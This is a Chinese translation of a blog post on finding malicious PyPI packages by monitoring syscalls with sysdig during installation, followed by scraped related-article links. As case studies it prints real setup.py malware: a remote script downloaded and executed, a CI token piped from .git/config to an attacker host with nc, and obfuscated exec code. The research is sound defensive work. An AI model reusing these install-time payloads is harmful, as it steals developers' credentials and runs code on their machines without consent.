大约一年前,Python软件基金会(Python Software Foundation)发了一个需求咨询帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包,对流行的库进行Typosquatting攻击钓鱼劫持,还是对第三方库进行撞库攻击,很明显,这都是一个值得思考的问题,几乎影响到每个开发者。使用pip install安装软件包时,大多数人不清楚自己所需的python模块在哪个软件包中,有时候甚至是模糊搜索安装,这就给恶意利用的人提供了机会。

事实上,像PyPI这样的软件包管理器是几乎每个公司都依赖的关键基础架构。针对这个问题的严重性我们可以在这个主题上谈上几天几夜,不过看了下面的这张图你就明白了。

我想对此做进一步的探讨,因此在本文中,我将逐步介绍如何安装和分析PyPI中的软件包并寻找恶意攻击活动。

如何查找恶意包

为了在安装过程中运行任意命令,作者通常将代码添加到其程序包中的setup.py文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。

总的来说,您可以用以下两种方式来查找潜在的恶意依赖包:查看代码中的不良内容(静态分析),或者可以安装它们以查看会发生什么情况(动态分析)。

虽然静态分析非常有趣(我曾在Node.js 的包管理工具npm上手动使用grep命令搜寻到了恶意软件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在这篇文章中,我将重点介绍动态分析。毕竟我认为它会有效果,因为你正在查看实际发生的事情,而不是仅仅寻找未来可能发生的事。

那我们到底在寻找什么呢?

如何把握重点

通常,任何重要操作发生都是由内核完成的,普通程序(如pip)通过内核执行重要操作是通过使用syscall来完成的。使用syscall可以完成打开文件、建立网络连接和执行命令的所有操作!

您可以从Julia Evans的漫画中了解syscall的更多内容:

这意味着,如果我们可以在安装Python软件包期间监视系统调用(syscalls),就可以查看是否发生了任何可疑事件。

监测系统调用(syscalls)这个方法并不是我想到的。自2017年以来,亚当·鲍德温(Adam Baldwin)等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文(https://arxiv.org/pdf/2002.01139.pdf),采用了同样的方法。老实说,大多数博客文章只是试图重现他们的想法。

现在,我们想监测系统调用(syscalls),那么到底该怎么做呢?

使用Sysdig监测Syscall

有许多旨在让您监测系统调用的工具,对于本项目,我使用sysdig,因为它既提供结构化输出,又提供了一些非常好的过滤功能。

为了使该工作正常进行,在启动安装该软件包的Docker容器时,我还启动了一个sysdig进程,该进程仅监测该容器中的事件。我也过滤掉了要从pypi.orgfiles.pythonhosted.com进行的网络读取/写入,因为我不想被与软件包下载相关的事件写满日志。

通过捕获系统调用的方法,我不得不解决另一个问题:如何获取所有PyPI软件包的列表。

获取Python包

对我们来说幸运的是,PyPI拥有一个称为Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以将其视为“一个非常大的HTML页面,其中包含指向每个包的链接”。它简单,干净而且比我可能会写的任何HTML都要好。

我们可以抓取此页面并使用pup解析所有链接,从而为我们提供约268,000个软件包:

> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt> wc -l pypi_full.txt268038 pypi_full.txt

对于本实验,我只关心每个软件包的最新版本。较旧的版本中可能埋藏着恶意版本的软件包,但AWS不会自己买单(笑)。

我最终实现了一个看起来像这样的管道:

简而言之,我们将每个软件包名称发送到一组EC2实例(我希望将来使用AWS Fargate无服务器化容器解决方案或其他东西,但我现在也不知道Fargate怎么用,所以……),该程序会从PyPI中获取有关软件包的一些元数据,然后在一系列容器pip install安装软件包同时启动sysdig,以监测syscall和网络流量。然后,所有数据都被运送到S3以供未来使用。

这个过程如下所示:

结果

过程一旦完成,我将在一个S3存储库中获取几TB的数据,覆盖大约245,000个软件包。尽管有的软件包没有发布版本,有的软件包具有各种bug,但是这似乎也是一个很好的样本。

现在开始有趣的部分:分析!(其实是一系列枯燥的grep操作)

我合并了元数据和输出,提供了一系列如下所示的JSON文件:

{"metadata": {},"output": {"dns": [],         // Any DNS requests made"files": [],       // All file access operations"connections": [], // TCP connections established"commands": [],    // Any commands executed}
}

然后,我编写了一系列脚本来开始汇总数据,以试图区别是良性程序包和恶意程序包。让我们深入研究一些结果。

网络请求

在安装过程中,软件包需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源,它们可能是一种分析形式,或者可能正试图从系统中窃取数据或凭证。

结果发现,有460个软件包将网络连接到109个特定主机。就像上面论文提到的一样,其中很多是程序包共享建立网络连接依赖关系的结果。可以通过映射依赖关系将其过滤掉,但是我在这里还没有做过。

这里(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安装过程中看到的DNS请求明细。

执行命令

像网络连接一样,在安装过程中,软件包有合理的理由运行系统命令。可以是编译二进制文件,或者设置正确的运行环境等。

查看我们的样本,发现60,725个软件包在安装过程中正在执行命令。就像网络连接一样,其中许多是依赖项(运行命令的程序包)的结果。

一些有趣的第三方包

深入研究结果后,发现大多数网络连接和命令似乎都是合乎常理预期的。但是,我想举几个奇怪的例子作为案例研究,以说明这种类型的分析多有用。

i-am-malicious

一个名为i-am-malicious的软件包似乎是恶意软件包的证明。以下是一些有趣的细节,使我们认为该程序包值得研究(如果名称不够的话......):

{"dns": [{"name": "gist.githubusercontent.com","addresses": ["199.232.64.133"]}]],"files": [...{"filename": "/tmp/malicious.py","flag": "O_RDONLY|O_CLOEXEC"},...{"filename": "/tmp/malicious-was-here","flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"},...],"commands": ["python /tmp/malicious.py"]
}

我们看到与gist.github.com的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here的文件。当然,这就是setup.py中发生的事情:

from urllib.request import urlopenhandler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:fp.write(handler.read())import subprocesssubprocess.call(["python", "/tmp/malicious.py"])

malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”类型的消息,表明这确实是一个证明。

maliciouspackage

另一个自称为"恶意程序包"的maliciouspackage更邪恶。这是相关的输出:

{"dns": [{"name": "laforge.xyz","addresses": ["34.82.112.63"]}],"files": [{"filename": "/app/.git/config","flag": "O_RDONLY"},],"commands": ["sh -c apt install -y socat","sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566","grep ci-token /app/.git/config","nc laforge.xyz 5566"]
}

和之前一样,我们的输出使我们对发生的事情有了一个不错的了解。在这种情况下,程序包似乎从.git / config文件中提取令牌并将其上传到laforge.xyz。浏览setup.py,我们发现确实是这样:

...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

easyIoCtl是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”,但我们看到以下命令正在执行:

["sh -c touch /tmp/testing123","touch /tmp/testing123"
]

可疑,但可能不是有意为之。但是这是一个完美的示例,显示了监测系统调用的功能。这是项目的setup.py中的相关代码:

class MyInstall():def run(self):control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]control_flow_guard_init = ""for controL_flow_code in control_flow_guard_mappers:control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]exec(control_flow_guard_init)

此代码片段混淆不清,很难说出是怎么回事,传统的静态分析可能会抓住对exec的调用,但仅此而已。

要查看其作用,我们可以用打印替换exec,结果是:

import os;os.system('touch /tmp/testing123')

这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们正在对系统调用进行监视。

当我们发现恶意软件包时会发生什么?

值得简要讨论一下,当我们发现恶意程序包时该怎么办。首先要做的是提醒PyPI志愿者,以便他们下架这个包。可以通过联系security@python.org来完成。

之后,我们可以使用BigQuery上的PyPI公开数据集,查看该包的下载次数。

这是一个示例查询,用于查找在过去30天内安装了maliciouspackage的次数:

#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'-- Only query the last 30 days of historyAND DATE(timestamp)BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)AND CURRENT_DATE()

运行此查询命令,结果表明它已被下载400次以上。

未来展望

第一步只是初步了解了整个PyPI的概况。查看数据,我发现没有任何程序包进行了严重有害的活动,而且名称中的某处也没有“恶意”。这很好!(其实并非如此,如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 pip install smb或者 pip download smb, 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情,或者将来会发生。如果您有兴趣挖掘数据,可以在这里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。

展望未来,我正在设置一个Lambda函数,以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理,如果检测到可疑活动,则会发送警报。

我仍然不喜欢仅通过pip install命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的,但它带来了风险。希望越来越多地监测各种第三方程序包管理器,并识别出恶意活动的迹象。

这不是PyPI独有的。之后,我希望对RubyGems,npm和其他程序包管理库进行相同的分析,就像我之前提到的研究人员一样。同时,您可以在此处(https://github.com/jordan-wright/ossmalware)找到用于运行实验的所有代码。

往期推荐:
收藏 | 49 个 Python 学习资源我都逛哪些技术网站?(程序员必备58个网站汇总)肝!精心整理了 50 个数据源网站!

有人在代码里下毒!慎用 pip install 命令相关推荐

  1. python安装库后无法调用摄像头_银川监控摄像头安装,有人在代码里下毒!慎用 pip install 命令...

    原标题:银川监控摄像头安装,有人在代码里下毒!慎用 pip install 命令 大约一年前,Python软件基金会(Python Software Foundation)发了一个需求咨询帖子(RFI ...

  2. 同事又在代码里“下毒”,血压拉满...

    文章来源:[公众号:码农参上] 目录 前言 瞒天过海 舍近求远 颠倒黑白 化整为零 釜底抽薪 最后 前言 前几天,正巧赶上组里代码 review,一下午下来,感觉整个人都血压拉满了.五花八门的代码让我 ...

  3. 如何缺心眼的在代码里下毒

    偶然看到一篇脑洞大开的文章,转载过来乐呵一下,原文地址:https://www.jianshu.com/p/635fcf4fe594 下毒要点 独特的算法,个性的变量命名. 复杂的结构,畸形的文件路径 ...

  4. 惊了!同事竟然在代码里“下毒”

    " 写这个文章是因为前段时间确实因为公司的业务开发太忙太紧,所有开发都处在于加班赶项目,并且加入的新人较多造成了一系列代码不可控的质量问题. 图片来自 Pexels 文章针对这段时间代码出现 ...

  5. 【Java】握草,你竟然在代码里下毒

    1.概述 转载:https://mp.weixin.qq.com/s?__biz=MzIxMDAwMDAxMw==&mid=2650728055&idx=1&sn=f220ff ...

  6. 握草,你竟然在代码里下毒!

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获!

  7. python-如何解决python执行pip install 命令的时候出现 File“<stdin>“,line 1 pip install XXX的问题

    python-如何解决python执行pip install 命令的时候出现 File"",line 1 pip install XXX的问题 参考文章: (1)python-如何 ...

  8. pip install 命令报错Temporary failure in name resolution

    pip install 命令报如下错误 Collecting labelmeUsing cached https://files.pythonhosted.org/packages/79/a4/01b ...

  9. 在【Window】系统下更改 【pip install】 默认安装依赖路径

    背景: 在[Windows]下使用 pip install ,很多情况下会把依赖包安装到一个叫Roaming的地方,导致调用系统Python 某些依赖的时候找不到源码安装在哪. C:\Users\yo ...

最新文章

  1. 如何建立企业内部培训体系?
  2. 工具用途_见微知著,小工具大用途!
  3. 金蝶k3单据编码规则_金蝶k3物料编码规则
  4. 将.fla转换为视频文件(.mp4)或gif文件
  5. 项目经理需要什么职称 计算机,项目经理要什么职称
  6. 人月神话之四 贯彻执行、为什么巴比伦塔会失败
  7. NOI Online Round 3 总结
  8. cs224n学习笔记
  9. kali全版本镜像下载地址
  10. 爬虫爬取京东产品数据
  11. 时间复杂度和空间复杂度及多道例题讲解
  12. 从“金融IT”乙方转到甲方的职场感悟
  13. 智能优化算法——灰狼优化算法(PythonMatlab实现)
  14. 信息系统项目管理师高频考点(第八章)
  15. 【Rust日报】2022-02-22 Slint - 为桌面和嵌入式设备创建一个新的GUI框架
  16. Masked Language Modeling用于光谱分类模型
  17. IPV4 跨网段扫描获取IP地址 python
  18. 江湖云RFID门禁系统
  19. 目标检测:FasterRCNN,RFCN和Light-RCNN的对比分析
  20. pearson相关系数和nse(纳什系数)的差别

热门文章

  1. 服务器打开虚拟机电源重启,虚拟机服务器自动重启
  2. mysql 修改数据 where_MySQL笔记之修改数据的解决方法
  3. python如何启动前端_Django项目创建到启动详解(最全最具体)
  4. 微信小程序之scroll-view-导航栏左右滑动
  5. MySQL中的时间函数用法集合
  6. avws扫描出来的漏洞怎么利用_漏洞扫描利用
  7. Hive mysql 内连接_Hive-表连接 | 学步园
  8. 赛码输入输出java_赛码网-计算器的新功能(Java实现)
  9. jquery三级联动模糊查询_jquery三级联动
  10. linux查询所有目录的txt文件,Linux 在指定目录下的所有文件中查找text文本的方法...